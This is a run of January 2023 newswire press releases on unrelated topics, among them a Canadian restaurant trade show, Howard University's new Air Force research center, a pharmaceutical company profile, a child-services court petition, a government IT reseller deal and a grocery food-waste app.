The annual Garland Canada Culinary Competition is back and hotter than ever. Taking place on the Culinary Stage on April 11th, this annual, cant-miss competition will challenge chefs from across the country to craft a dish for culinary experts that reflects their Heart & Hustle. Chefs will be asked to connect their dish to the memories and the passion it ignites for them, and share what inspired them to choose this industry. The Garland Canada Culinary Competition continues to show its commitment to the countrys thriving and passionate culinary community by promoting its top emerging talent, and its commitment to diversity and inclusion by holding space for 50% of the competitors to be women and prioritizing BIPOC culinary talent. This year there is over $10,000 in cash and prizes up for grabs.

A mash-up of speed, precision, and presentation, the John Bil Oyster Shucking Competition is back for its 4th year to crown the fastest shucker on the block. Apply now.

Popping Up On the Menu



The Trinity Market Pop Up Experience is set to emulate an up-and-coming concept to showcase all the best that Ontario and beyond has to offer. The creative vision of Chef Matt Dean Petit, the Trinity Market Pop Up Experience is a snack bar concept designed as a community hub and incubator for networking, sampling, discovery, and more. Highlighting local collaborations and talent, the space will include a bottle shop, retail space, and be a destination to discover innovative solutions, and some of the countrys best, bite-size cuisine. This preview of Trinity Market, set to open at Queen West and Bellwoods in February will feature tapas-style food with a Canadian twist through celebrating extraordinary people at every turn. The soul and drive of the industry all under one roof, bringing together the Heart & Hustle theme.

More Ways to Taste, Connect and Get Local



In addition to a jam-packed Culinary Stage and the return of the shows amazing signature events including RC Shows Opening Night Reception, Industry Night Out and Breakfast With Champions.

Attendees will also have the chance to connect with businesses across Canada, including activations by culinary partners such as Garland Canada, Chicken Farmers of Canada, Dairy Farmers of Canada, Canada Beef, Highliner Foods, Dairy Farmers of Ontario, Gordon Food Service, Ardent Mills and Lactalis Canada Foodservice. Get local at the OMAFRA Ontario Pavilion, PEI, Ontario and Quebec, all featuring the best of food and beverage offerings and giving even more of a reason to dine locally.

Plus, sampling across the more than 300,000 square feet of exhibition space and a new and enhanced Food Truck'n Experience (part of the World Pavilion), will showcase ethnic flavours and multicultural offerings and pairings, as well as innovative food products across the show floor.

For more information, to arrange an interview, or to attend this years event, visit www.rcshow.com.

Follow us and the conversation on social: #RCShow @RestaurantsCanada

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About Restaurants Canada

Restaurants Canada is a national, not-for-profit member-based trade association advancing the potential of Canadas diverse and dynamic foodservice industry through member programs, research, advocacy, resources and events. Canadas foodservice sector is a $95 billion industry that serves 22 million customers across the country every day. As the fourth-largest private-sector employer, Canadian foodservice directly employs 1.2 million people, and indirectly supports another 290,000+ jobs in related industries, with $32 billion in food and beverage products purchased every year. www.restaurantscanada.org



About RC Show

Canadas leading foodservice and hospitality event since 1944, showcasing cutting-edge products, pioneering people and transformative ideas. Attendees can shop, taste, learn, connect and grow their business with multiple days of business-building action, including featured areas, competitions, workshops and RC Hospitality Week events tailored to educate, motivate and lead the industry. RC Show includes the latest trends, a dynamic selection of innovative products, and influential speakers assembled from around the globe, designed to help operators grow their businesses. An annual event not to be missed. Learn more at www.rcshow.com
Washington, D.C., Jan. 24, 2023 (GLOBE NEWSWIRE) -- WASHINGTON  Howard University President Wayne A. I. Frederick, M.D., MBA, hosted U.S. Secretary of Defense Lloyd Austin III, and U.S. Secretary of the Air Force Frank Kendall to announce that Howard will serve as the 15th University Affiliated Research Center (UARC). With this announcement, Howard makes history as the first HBCU to lead a UARC and the first center to be funded by the Air Force.

Being awarded this contract is a historic and tremendous accomplishment for Howard University. No other UARCs are providing this type of research to the Department of Defense at present, and Howard researchers are uniquely positioned to serve as a leader in the nations innovation and application of automated systems, said Frederick. This center puts Howard University at the forefront of progressive science and technology efforts. While the primary goal of the center is conducting valuable research for the Air Force and Department of Defense, this center is also meant to help Howard and the consortium schools increase their research capacity. I have no doubt that this work will move us one step closer to our goal of reaching an R1 classification.

The center at Howard University will focus its research on tactical autonomy. The UARC will be established through a five-year, $90 million contract agreement with the Department of Defense. Through the center, Howard University will be awarded $18 million annually to conduct research that will contribute to the development of efficient, affordable, trustworthy human-machine teaming and systems-of-systems with autonomy and artificial intelligence (AI) capabilities that fall within the U.S. Air Force, Space Force, and DODs modernization priorities.

Today as we work to build enduring advantages for our brave men and women in uniform, we must seek the latest innovations in science and in engineering. That means building more bridges to Americas outstanding STEM community, said Austin. Only a tiny fraction of our departments research funding goes to HBCUs. As Secretary of Defense, I am determined to change that. To sharpen Americas technological edge and to strengthen Americas outstanding military, the department is committed to investing in even more HBCUs and minority-serving institutions. Today, we are taking that commitment to a new level.

This prestigious contract marks the Universitys first foray into government contracting. The contract is foundational to Howards strategic plan moving forward. The tasks and investment associated with a UARC typically grow over time and will provide the school with financial stability not possible through grants or donations. The programmatic foundation for the UARC, however, has been in development at Howard for years. Currently, there are 15 doctoral students and two masters level students researching autonomous systems and machine learning. With this contract, Howard becomes the national expert on tactical autonomy technology.

This is the one of the most prestigious research contracts that can be received by a research-focused institution of higher education.. The success we have had thus far was made possible by the relentless efforts of the team at Howards Office of Research. Success in the next five years of our work with the Department of Defense can lead to this UARC remaining at Howard in perpetuity and cementing the universitys status as one of the countrys premier research institutions, said Bruce Jones, PhD, vice president for research at Howard University.

Danda Rawat, PhD, professor of computer science and director of Howards Data Science and Cybersecurity Center will serve as the executive director of the UARC and principal investigator on the contract. Along with the essential research being completed, the Howard University UARC will implement programming intended to spark curiosity in STEM education amongst K-12 students through in-school demonstrations and ease their path to a career in the fields of artificial intelligence, cybersecurity, tactical autonomy, and machine learning. Undergraduate and graduate students will be encouraged to participate in UARC research.

This UARC will be critical in our efforts to continue to recruit, mentor and graduate students who are prepared for high-paying jobs in the future. For decades Howard has produced highly skilled, highly credentialed STEM professionals and the support of the Department of Defense and the Air Force will allow us to do at a higher level than ever before, said Rawat.

The establishment of the Howard UARC enables the university to create a pipeline for students from elementary to post-graduate education. A consortium of HBCUs, which Howard will lead, will be established as part of the UARCs infrastructure. Students participating in UARC research will have the opportunity to have their education fully funded up to the PhD level at any one of the consortium schools.

Howard University UARC Consortium Schools include:

Jackson State University;

Hampton University;

Tuskegee University;

Bowie State University;

Delaware State University;

Florida Memorial University;

Norfolk State University; and

Tougaloo College.

About Howard University

Founded in 1867, Howard University is a private, research university that is comprised of 14 schools and colleges. Students pursue more than 140 programs of study leading to undergraduate, graduate and professional degrees. The University operates with a commitment to Excellence in Truth and Service and has produced two Schwarzman Scholars, three Marshall Scholars, four Rhodes Scholars, 12 Truman Scholars, 25 Pickering Fellows and more than 165 Fulbright recipients. Howard also produces more on-campus African American Ph.D. recipients than any other university in the United States. For more information on Howard University, visit www.howard.edu.

Attachment
Press Release

Nicox to Participate in Financial, Pharmaceutical Industry and Scientific Events in H1 2023

About Nicox

Nicox SA is an international ophthalmology company developing innovative solutions to help maintain vision and improve ocular health. Nicoxs lead program in clinical development is NCX 470, a novel nitric oxide-donating bimatoprost, for lowering intraocular pressure in patients with open-angle glaucoma or ocular hypertension. The company is also conducting research on NCX 1728, a nitric oxide-donating phosphodiesterase 5 inhibitor, in retinal conditions. NCX 4251, a novel, patented, ophthalmic suspension of fluticasone propionate nanocrystals for topical ocular application for dry eye disease, is being developed by Ocumension Therapeutics in China under an exclusive license agreement and is available for partnering elsewhere. Nicox generates revenue from VYZULTA in glaucoma, licensed exclusively worldwide to Bausch + Lomb, and ZERVIATE in allergic conjunctivitis, licensed in multiple geographies, including to Eyevance Pharmaceuticals, LLC (a wholly-owned subsidiary of Santen Pharmaceutical Co., Ltd.), in the U.S. and Ocumension Therapeutics in the Chinese and in the majority of Southeast Asian markets. Nicox is headquartered in Sophia Antipolis, France, is listed on Euronext Paris (Compartment C: Mid Caps; Ticker symbol: COX) and is part of the CAC Healthcare, CAC Pharma & Bio and Next 150 indexes.For more information on Nicox, its products or pipeline, please visit: www.nicox.com.

Analyst coverage

Bryan, Garnier & Co Eric Yoo Paris, FranceEdison Investment Research Pooya Hemami London, UKH.C. Wainwright & Co Yi Chen New York, U.S.Kepler Cheuvreux Arsene Guekam Paris, France

The views expressed by analysts in their coverage of Nicox are those of the author and do not reflect the views of Nicox. Additionally, the information contained in their reports may not be correct or current. Nicox disavows any obligation to correct or to update the information contained in analyst reports.

Contacts

NicoxGavin SpencerExecutive Vice President, Chief Business Officer& Head of Corporate Development T +33 (0)4 97 24 53 00 [email protected] Investors & MediaUnited States & Europe LifeSci Advisors, LLC Sandya von der Weid T +41 78 680 05 38 [email protected]

Forward-Looking Statements

The information contained in this document may be modified without prior notice. This information includes forward-looking statements. Such forward-looking statements are not guarantees of future performance. These statements are based on current expectations or beliefs of the management of Nicox S.A. and are subject to a number of factors and uncertainties that could cause actual results to differ materially from those described in the forward-looking statements. Nicox S.A. and its affiliates, directors, officers, employees, advisers or agents, do not undertake, nor do they have any obligation, to provide updates or to revise any forward-looking statements.Risks factors which are likely to have a material effect on Nicoxs business are presented in the 3rd chapter of the Document denregistrement universel, rapport financier annuel et rapport de gestion 2021 filed with the French Autorite des Marches Financiers (AMF) on April 29, 2022 whose first amendment has been filed with the AMF on May 19, 2022, in the 2nd chapter of the second amendment filed with the AMF on November 22, 2022 and in the 2nd chapter of the Securities noted filed with the AMF on November 22, 2022 which are available on Nicoxs website (www.nicox.com)
xmkym (Musqueam), Skwxwu7mesh (Squamish), and slilwta (Tsleil Waututh) / Vancouver, BC, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The Vancouver Aboriginal Child and Family Services Society (VACFSS) has filed a petition with the Supreme Court of British Columbia to appeal a recent BC Human Rights Tribunal (BC HRT) decision, R.R. v. VACFSS, issued on November 22, 2022.

It is essential to request a judicial review because the BC HRT overstepped its jurisdiction in this decision, said Linda Stiller, Chair of the VACFSS Board. VACFSS regrets having to file a judicial appeal on this case, particularly as an Indigenous-led agency committed to restorative practice and the advancement of provisions in the Act respecting First Nations, Inuit and Metis children, youth and families.

"We understand that this step is very difficult, but it is necessary to ensure Indigenous children are protected as intended by the legislation and our decision in no way reflects on the individual who filed the HRT complaint," said Stiller. While we recognize the pain the complainant identified during the hearing, our duty is to ensure that childrens rights are also protected.

The legal grounds for VACFSS' application for judicial review include the following:

The Member made decisions on child protection matters under the Child, Family and Community Services Act (CFSCA), which are in the exclusive jurisdiction of the British Columbia Provincial Court, and therefore beyond the jurisdiction of the HRT. The Member failed to give effect to the court orders, including consent orders, between the parties and by doing so, the HRT undermined a final order of BC Provincial Court under the CFCSA, including on issues of custody and access. The HRT Decision is premised on the Members criticisms of and assessment of perceived flaws in the CFCSA legislation as a whole, but the HRT does not have jurisdiction to impugn valid legislation. The complaint in issue was not a Charter challenge or a class complaint involving allegations of systemic discrimination, and no notice was given of any challenge to the validity of the CFCSA. The Member used an incorrect avenue for challenging the validity of the CFCSA legislation, which can only be done, with proper notice, through the Supreme Court of British Columbia. The Member denied VACFSS the right to a fair hearing by expanding the scope of the case before it without providing proper notice. This prevented VACFSS from being able to understand the allegations it had to respond to, and from being able to provide the full evidence and argument in relation to all of issues addressed in the HRT Decision.

Given the significant legal issues raised by VACFSS in the judicial review, the organization has also asked that the amount of the financial award be reconsidered by the court.

The agreement between VACFSS and the Director of CFCSA supports VACFSS ability to design and deliver services that recognize the unique challenges experienced by Indigenous families. VACFSS upholds the rights of Indigenous children and families to receive trauma-informed, therapeutic services and addresses child safety through parental consent orders, voluntary care agreements and ensures that whenever children need to be in care that parents are granted supported access to their children. Through collaboration, we engage parents in safety plans to prevent removal and identify options for family to care for the child, says Bernadette Spence, VACFSS Chief Executive Officer.

VACFSS will not have further public comment about this petition, respecting the privacy of all involved in a difficult process.

Statement issued by:

Bernadette Spence Linda Stiller

Chief Executive Officer Chair, Board of Directors

VACFSS VACFSS

Roberta Prattico Vancouver Aboriginal Child and Family Services Society 778.835.4796 [email protected]

Source: Vancouver Aboriginal Child and Family Services Society
PORTLAND, Ore., Jan. 24, 2023 (GLOBE NEWSWIRE) -- BahFeda provider of IT equipment, office supplies and support solutions for federal, state and local government customerswill now sell Rocket.Chat, a leading communications platform used by government institutions, including federal offices, departments and military branches.

Both companies agree that the partnership allows them to better serve their government customers.

"Government agencies rely on BahFed to recommend and provide the most advanced security technology available to protect their communications and workflows from ransomware and other threats," said Kristoffer Brown, Sr. Director Public Sector of Rocket.Chat. "This partnership enables government customers to access the Rocket.Chat platform to provide secure chat, file transfer, VOIP and video to advance mission outcomes."

Ken Paul, president of BahFed, agrees: "Rocket.Chat is the ideal partner for BahFed. We provide our government customers with solutions that safeguard against security threats, data breaches and cyberattacks, while also helping them streamline communication and collaboration efforts. Rocket.Chat allows agencies to achieve all of these objectives, and it's easily deployed on-premise, even in air-gapped environments."

How to PurchaseThe Rocket.Chat platform is available through BahFed's GSA Schedule No. GS-35F-0431Y, SEWP V contract NNG15SD09B and U.S. Air Force 2GIT BPA: 47QTCA21A000N. To inquire about licensing Rocket.Chat, contact BahFed at [email protected] or 503-208-8410.

About Rocket.ChatRocket.Chat is the world's largest open-source, secure collaboration platform that is deployed in public agencies to defense and intelligence organizations up through IL7. Built for organizations that need more control over their communications, Rocket.Chat enables collaboration between colleagues, partners, customers, communities, and even platforms without compromises on data ownership, customizations, or integrations. Tens of millions of users in over 150 countries and organizations such as the National Geospatial Intelligence Agency (NGA), the U.S. Army, the U.S. Navy, and the U.S. Air Force trust Rocket.Chat every day to keep their communications completely private and secure.

About BahFed Corp.Formed in 2011 in Portland, Oregon, BahFed Corp. specializes in delivering next-generation technology solutions, IT products, commodities, and support services. As a small, veteran- and minority-owned business operating in a Historically Underutilized Business Zone (HUBZone), BahFed has built its business reputation on customer service and post-award services. BahFed holds several GSA Schedules and is a NASA SEWP V contract holder, allowing the company to serve government agencies and organizations throughout the United States.

Contact Information: Ken Paul [email protected] Lais Rocha [email protected]

This content was issued through the press release distribution service at Newswire.com.

Source: BahFed Corp.
Jerome, ID, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Idaho Milk Products congratulates Dr. Venkateswarlu (Venkat) Sunkesula on his recent promotion to Vice President of Research and Product Development and welcomes Kevin Quinn as the new Vice President of Sales and Marketing.

Dr. Sunkesula joined Idaho Milk Products in July 2019. Before coming to Idaho Milk Products, he attended South Dakota State University pursuing his Ph.D. in dairy manufacturing under the supervision of Dr. Lloyd Metzger, a member of our Scientific Advisory Board. Dr. Sunkesula did his thesis on the Development of Methods to Improve Lactose Recovery from Permeate and Drying Characteristics of Greek Acid Whey. Venkat has about 20 years of professional experience in various managerial roles in the dairy, candy and brewing industries.

Venkat joined Idaho Milk Products at a momentous time for the development of our MIC (Milk Innovation Center) and has already made a significant contribution in bringing us to where we are today, said Daragh Maccabee, CEO of Idaho Milk Products. Taking on the leadership role was a natural progression. His academic qualifications and extensive experience combined with his personal qualities will allow him to build on the outstanding legacy of his predecessor and, together with the R&D team, bring the MIC to new levels of excellence.

It has been a pleasure to learn and grow in a people-focused organization and working with leadership that walks the company values, commented Venkat Sunkesula, VP of Research and Product Development. I am grateful to Idaho Milk Products for recognizing my contributions with this promotion. I look forward to continuing working with the excellent people, process and plant to play an even more significant role in the business growth.

Kevin Quinn came to Idaho Milk Product in December 2022 as Vice President of Sales and Marketing. He has worked in the food industry for 30 years with both domestic and international customers in sales, marketing and finance roles for Nestle, Sara Lee, White Wave, Leprino Foods and Darigold. During his time at Darigold as Vice President of Global Accounts, he was responsible for customer-facing activities for several major global accounts. After graduating from the University of Colorado in Boulder, he started his career in Colorado.

I am delighted with Kevins decision to join our team, commented Daragh Maccabee, CEO of Idaho Milk Products. His vast experience and the depth of his relationships with existing and potentially new commercial partners represent an important and valuable addition to the team at a pivotal moment for our organization. I am excited at the prospect of working with Kevin in the ongoing pursuit of our purpose, Bringing value to milk for generations.

I am very excited to join the dynamic team at Idaho Milk Products, said Kevin Quinn, VP of Sales and Marketing. The professionalism with which this team operates and the attention to quality at all levels will allow for new growth in global markets. The production of MPC (Milk Protein Concentrate), MPI (Milk Protein Isolate) and MPP (Milk Permeate Powder) is at a level that meets the spec needs of global customers, and the effort to continue thriving on sustainability at farm and factory put Idaho Milk Products ahead of the curve.

Idaho Milk Products proudly supports personal, professional, educational, technical and above all, leadership development to help employees realize their potential and be part of a world-class team.

###

About Idaho Milk Products

Idaho Milk Products is a privately held, vertically integrated international milk processing leader, supplying Milk Protein Concentrate (MPC), Milk Permeate, and Cream derivatives to customers around the globe. Owned by local Idaho dairy farmers, Idaho Milk Products has a dedicated consistent milk supply and delivers reliable, quality dairy ingredients. For more information, visit idahomilkproducts.com.

Attachments

Annie Dovenmuehler Idaho Milk Products 208.644.2861 [email protected]

Source: Idaho Milk Products
FORT WALTON BEACH, Fla., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Step One Automotive Group has been named a recipient of the Florida Department of Education's 2022 Commissioner's Business Recognition Award. The award recognizes Florida's business leaders and partners that have shown the most commitment to bringing positive change and implementing bold, innovative approaches to improve the academic performance of students in Florida's education system and communities. These educational connections help Florida school districts gain a competitive edge in providing enhanced services to the students they serve.

"It is such an honor for us to receive this recognition. At Step One, giving back is in our DNA. Especially when it comes to children and education. Because the truth is one of those children could change the world one day. And if we can help them find that path, even in the smallest way, then that's all that matters to us," said Maureen Bierman, Step One Automotive Group Director of Marketing and Communications.

Each school district is encouraged to nominate a worthy business that provides educational support in areas of civics, literacy, career & technical education, school safety, STEM/STEAM education, college readiness, and family involvement to students and educators within their community. Step One Automotive Group is recognized along with Lakewood Ranch Rotary Books for Kids in Manatee County and Ocean Bank in Miami-Dade County. Step One Automotive Group is the only Okaloosa County recipient of the award this year.

Step One Automotive Group recently celebrated its first five years in business. Prioritizing local community initiatives and fostering a service-oriented company culture in its dealerships remain at the forefront of the company's mission. Step One partners with charitable organizations, including the HSU Foundation, Boys & Girls Clubs of the Emerald Coast, Destin Charity Wine Auction Foundation, Saving with Soul Pet Rescue, Emerald Coast Children's Advocacy Center, local military groups, and many more.

For more information about this year's winners, visit https://www.floridaeducationfoundation.org/cbra2020.

About Step One Automotive GroupStep One Automotive Group is an American company based in Fort Walton Beach, Florida, built on a singular dedication to empowering lives through smarter and easier ways of accessing mobility. Step One Automotive Group owns 20 new car dealerships in Florida, Alabama, and Georgia, representing 17 brands, including Chrysler, Dodge Jeep, Ram Fiat, Volkswagen, Subaru, Kia, Hyundai, Nissan, Genesis, Ford, Buick, GMC, Cadillac, Alfa Romeo, and Maserati. Step One Automotive Group also owns two standalone pre-owned operations, three wholesale parts operations, and one rental car operation. Out of 18,000 dealerships in the United States, Step One ranks in the top 90 dealer groups in the United States and the top 10 in Florida. Step One employs 787 team members across three states and six cities.

For more information, please visit https://www.steponeautomotive.com.Facebook: https://www.facebook.com/steponeauto/Instagram: @steponeautomotivegroupYouTube: https://www.youtube.com/c/StepOneAutomotiveGroup

Contact Information: Shantelle Dedicke President, Frances Roy Agency [email protected] 307-631-7644

This content was issued through the press release distribution service at Newswire.com.

Source: Step One Automotive Group
Foreign Minister of Armenia Ararat Mirzoyan met with Foreign Minister of Belgium Hadja Lahbib in Brussels on January 23.

January 24, 2023, 10:32 Armenian FM presents to Belgian counterpart situation resulting from Azeri illegal blockade of Lachin Corridor

STEPANAKERT, JANUARY 24, ARTSAKHPRESS: FM Mirzoyan and FM Lahbib attached importance to the decision on deploying a new EU civilian monitoring mission to Armenia, the foreign ministry said in a read-out.

The Armenian FM spoke about the situation resulting from the illegal blockade of Lachin Corridor by Azerbaijan and the process of normalization of relations between Armenia and Azerbaijan. It was emphasized that Azerbaijans maximalist and unconstructive approaches are greatly impeding the establishment of security and stability in the region.

FM Mirzoyan presented the latest developments in the Armenia-Turkey normalization process.

FM Mirzoyan and FM Lahbib also discussed opportunities for deepening and enhancing the Armenia-Belgium bilateral cooperation. Expansion of trade turnover volumes and intensification of business contacts were highlighted.
PROVIDENCE, R.I., Jan. 24, 2023 (GLOBE NEWSWIRE) -- Stop & Shop, a neighborhood grocer for over 100 years, announced today that Flashfood, a digital marketplace that significantly reduces food waste at the retail level by connecting consumers with discounted food nearing its best by date, expanded availability of the program across 21 of its Rhode Island stores.

Since partnering with Stop & Shop in 2021, nearly 20,000 shoppers across the Northeast have used Flashfood to save money on groceries while also diverting over 168,000 pounds of food from landfills. Now with 21 additional Rhode Island stores offering Flashfood, sales through the app will further decrease food waste throughout the Northeast while adding to the staggering 60 million pounds of food across the U.S. and Canada that has already been diverted from landfills due to the program.

With Flashfood, shoppers save up to 50% off items nearing their best-by date, such as meats, dairy, seafood, fresh produce, baked goods, and more. Shoppers conveniently browse and buy discounted items directly through the Flashfood app on their mobile phone, and then simply pick up their order from the Flashfood Zone located inside their participating store.

Providing value and variety to our customers with a focus on reducing our carbon footprint is at the forefront of what we do, said Tom Ferreira, Regional Vice President of Operations for Stop & Shop. Were proud to now offer the Flashfood marketplace to our Rhode Island customers to help offer sustainable shopping options with ways to also save significantly on groceries. Stop & Shops partnership with Flashfood kicked off in 2021 in Worcester, MA. Flashfood has since expanded to nearly 70 Stop & Shop stores in Massachusetts, New York, Connecticut and Rhode Island, diverting over 168,000 pounds of food from landfills  preventing 319,200 pounds of carbon dioxide equivalent (CO2e) from being released into the atmosphere. This is equivalent to the CO2e emissions of driving over 350,000 miles in the average car.

With sustainability-minded partners like Stop & Shop, were able to reduce more food waste while giving families a means to purchase quality fresh food for less, said Josh Domingues, Founder and CEO, Flashfood. With nearly one in three Rhode Island households struggling with food insecurity, our expansion throughout the region will help improve accessibility to affordable food for more people.

Stop & Shops expansion throughout Rhode Island is part of the grocers 2023 rollout plans to make Flashfood available at more locations including Massachusetts, Connecticut, New York, and New Jersey. All current Flashfood store locations can be found via the store locator.

To learn about Stop & Shops community efforts, visit: stopandshop.com/pages/our-purpose. To learn more about Flashfood, visit Flashfood.com.

About Stop & ShopA neighborhood grocer for more than 100 years, Stop & Shop offers a wide assortment with a focus on fresh, healthy options at a great value. Stop & Shop's GO Rewards loyalty program delivers personalized offers and allows customers to earn points that can be redeemed for gas or groceries every time they shop. Stop & Shop customers can choose how and where they want to shop - whether it's in-store or online for delivery or same day pickup. The company is committed to making an impact in its communities by fighting hunger, supporting our troops, and investing in pediatric cancer research to help find a cure. The Stop & Shop Supermarket Company LLC is an Ahold Delhaize USA Company and employs 58,000 associates and operates more than 400 stores throughout Massachusetts, Connecticut, Rhode Island, New York and New Jersey. To learn more about Stop & Shop, visit www.stopandshop.com.

About FlashfoodFlashfood is an app-based marketplace that strives to eliminate retail food waste by connecting consumers with discounted food nearing its best-by date. The mobile app operates in over 1,500 grocery locations throughout the U.S. and Canada. Shoppers can buy items from grocery retailers through the Flashfood app and pick them up in-store at great prices while collectively reducing food waste. To date, Flashfood has diverted over 60 million pounds of food, saved shoppers nearly $150 million and more affordably fed hundreds of thousands of families. Flashfood is currently working with The GIANT Company, Meijer, Tops Friendly Markets, Loblaw, Martins Markets, VGs, Family Fare, Food Lion, Giant Eagle, Giant Food, Save A Lot and Stop & Shop. Flashfood is a free app available on iOS and Android. For more information, please visit www.flashfood.com.

Media contact: Maura O'Brien - [email protected]

Source: Stop and Shop
LOS ANGELES, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Trethera Corporation (Trethera), a clinical stage biopharmaceutical company committed to developing novel drugs targeting nucleotide metabolism for the treatment of cancer and autoimmune diseases, announces an upcoming poster presentation at the 8th Annual Meeting of the Americas Committee for Treatment and Research in Multiple Sclerosis (ACTRIMS). Dr. Peter M. Clark, of the University of California Los Angeles, will present preclinical research highlighting the use of Tretheras deoxycytidine kinase (dCK) inhibitor, TRE-515, that suggests a functional role for deoxyribonucleoside salvage and dCK in multiple sclerosis (MS) mouse models.

Figure 1: PET scans showing mouse brain before (left) and after (right) MS induction (brain encircled in a dashed white line). The enzyme dCK becomes upregulated during MS disease.

Targeting dCK with first-in-class inhibitor TRE-515 is shown to block symptoms across multiple MS mouse models by specifically limiting activated B and CD4 T cell proliferation. The ACTRIMS meeting is a specialized gathering of translational science experts highlighting notable, novel and rigorous scientific discoveries made in MS that advance understanding of the clinical care of MS patients. The work presented by Dr. Clark also has application for optic neuritis, a rare neurologic disease which affects the optic nerve causing visual impairment. TRE-515 is currently being evaluated in a Phase 1 dose escalation solid tumors study.

Presentation Details:

Poster Title: Clinical Stage Deoxycytidine Kinase Inhibitor TRE-515 Blocks Lymphocyte Proliferation and Disease in Three Mouse Models of Multiple Sclerosis

Clinical Stage Deoxycytidine Kinase Inhibitor TRE-515 Blocks Lymphocyte Proliferation and Disease in Three Mouse Models of Multiple Sclerosis Authors: Peter M. Clark, PhD; Kenneth A. Schultz, MD; Bao Ying Chen, PhD; Jessica R. Salas, PhD; H. Michael Shepard, PhD; Lawrence Steinman, MD

Peter M. Clark, PhD; Kenneth A. Schultz, MD; Bao Ying Chen, PhD; Jessica R. Salas, PhD; H. Michael Shepard, PhD; Lawrence Steinman, MD Abstract: 422

422 Poster Number: P138

P138 Poster Session: 1

1 Date: Thursday, February 23, 2023; 6:30PM  7:30PM

Thursday, February 23, 2023; 6:30PM  7:30PM Location: The Marriott Marquis; San Diego, California

TRE-515 is an orally delivered first-in-class therapeutic engineered to inhibit dCK, the key enzyme in the nucleoside salvage pathway. A common characteristic of MS is the aberrant proliferation of peripheral T and B cells that mistakenly recognize and attack the myelin sheaths surrounding nerves in the central nervous system. The abnormal clonal expansion of T and B cells during autoimmunity requires elevated levels of nucleotides  including those provided by nucleoside salvage and dCK  to support rapid cellular DNA replication necessary for accelerated division. In contrast, dCK activity is highly restricted in healthy adult human cells.

By targeting dCK, scientists hope to selectively and effectively deprive abnormally activated immune cells of this needed nucleotide source, thereby ameliorating MS progression and blocking MS symptoms. Likewise, cancer cells have the capability to upregulate dCK to increase the intracellular nucleotide pool providing the basic DNA precursors for rapid growth and cancer cell division. TRE-515 is twice designated an Orphan Drug by the FDA in demyelinating diseases, in both optic neuritis and acute disseminated encephalomyelitis (ADEM) and is currently being studied in a Phase 1 oncology trial. This ACTRIMS presentation builds on the research work described earlier in the journal Immunology: Chen et al. (2022), Targeting deoxycytidine kinase improves symptoms in mouse models of multiple sclerosis. Immunology. https://doi.org/10.1111/imm.13569.

About Trethera

Trethera is a clinical stage privately held biopharmaceutical company dedicated to pioneering the development of novel treatments for autoimmune diseases and cancers. Founded by prominent UCLA scientists, Trethera is led by experienced management and board members. Trethera's innovative approach to targeting nucleotide metabolism led to the development of TRE-515, an orally administered capsule twice designated by the FDA as an Orphan Drug. TRE-515 is a first-in-class clinical stage drug that inhibits deoxycytidine kinase (dCK), the rate-limiting enzyme in the nucleoside salvage pathway, one of two biosynthetic pathways that generate DNA precursors. It is believed that some forms of cancer may be preferentially dependent on the salvage pathway to support tumor growth, and certain autoimmune diseases, such as multiple sclerosis, might also respond to TRE-515 treatment. Trethera is developing TRE-515 for use as a monotherapy or in combination, to precisely target a metabolic vulnerability of cancer or autoimmune diseases that will transform outcomes for patients.

For more information, please visit us at trethera.com or e-mail Investor Relations at [email protected].

About Multiple Sclerosis

MS is an autoimmune neurologic disease that affects almost 1 million Americans. The National Multiple Sclerosis Society estimates that the total cost of care for MS patients in the US during 2020 was $28 billion, including both direct and indirect healthcare expenses. Patients are typically diagnosed between the ages of 20 and 40 when changes of sensation, coordination, or motor strength occur. Relapsing remitting multiple sclerosis (RRMS) is the most common form of MS and is characterized by episodes of new or worsening signs or symptoms (relapses) followed by periods of recovery. The majority of patients who are diagnosed with RRMS will eventually transition to secondary progressive multiple sclerosis (SPMS), in which they experience steadily worsening disability over time.

Note on Forward-Looking Statements

All statements other than statements of historical facts included in this press release that address activities, events or developments that Trethera believes or anticipates will or may occur in the future are forward-looking statements, which may often, but not always, be identified by the use of such words as "may," "might," "will," "will likely result," "would," "should," "estimate," "plan," "project," "forecast," "intend," "expect," "anticipate," "believe," "seek," "continue," "target" or the negative of such terms or other similar expressions. Although Trethera has a reasonable basis for the forward-looking statements contained herein, Trethera cautions that such statements are based on current expectations about future events and are subject to risks, uncertainties and factors relating to medical and scientific research, all of which are difficult to predict and many of which are beyond Tretheras control, that may cause actual results to differ materially from those expressed or implied by the forward-looking statements in this press release. These potential risks and uncertainties include, without limitation: the extent to which development of any novel cancer therapies or therapies for autoimmune diseases succeeds; whether Trethera would obtain the necessary regulatory approvals to commence human trials or commercialize TRE-515 or any novel therapies resulting from such research; Trethera successfully implementing its growth strategy, including that relating to its disease therapies; the effects of the global Covid-19 pandemic; changes in economic conditions; competition; and risks and uncertainties applicable to the business of Trethera. The statements in this press release speak only as of the date hereof and Trethera does not undertake any obligation to update, amend or clarify these forward-looking statements whether as a result of new information, future events or otherwise. The Company intends that all forward-looking statements be subject to the safe-harbor provisions of the Private Securities Litigation Reform Act of 1995.

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/bff9b11c-af68-444d-8d97-e19282519b11

Figure 1 PET scans showing mouse brain before (left) and after (right) MS induction (brain encircled in a dashed white line). The enzyme dCK becomes upregulated during MS disease.

Source: Trethera Corporation
MINNEAPOLIS, Jan. 24, 2023 (GLOBE NEWSWIRE) -- TruChoice Financial Group, LLC, one of the largest distributors of insurance products in the financial services industry, held its fourth annual Climb conference Jan. 5-8 at The Phoenician in Scottsdale, Arizona. More than 100 financial professionals gathered to kick off the year with healthy doses of motivation and inspiration from speakers and their peers.

Bookending the two days of sessions were keynote speakers Dennis Moseley-Williams and Michael Crossland. Moseley-Williams opened the event by challenging attendees to think differently about the client experience they provide, while Crossland closed the event with his powerful and inspiring personal story of perseverance. In between, seven of TruChoice's top financial professionals took the stage to share the inner workings of their practices, four major insurance carriers gave product updates, a panel of actuaries gave insight into product design, TruChoice's Compliance team gave an update on the regulatory environment, and TruChoice's TruCreative team discussed branding and lead generation.

"It's always exciting to see our financial professionals face-to-face, and not just interacting with us but with each other," said TruChoice's Chief Distribution Officer, Jim Maietta. "The high-impact speakers and informative sessions gave our attendees actionable information to take home to their clients, but the peer-to-peer collaboration was an equally important part of this practice management event."

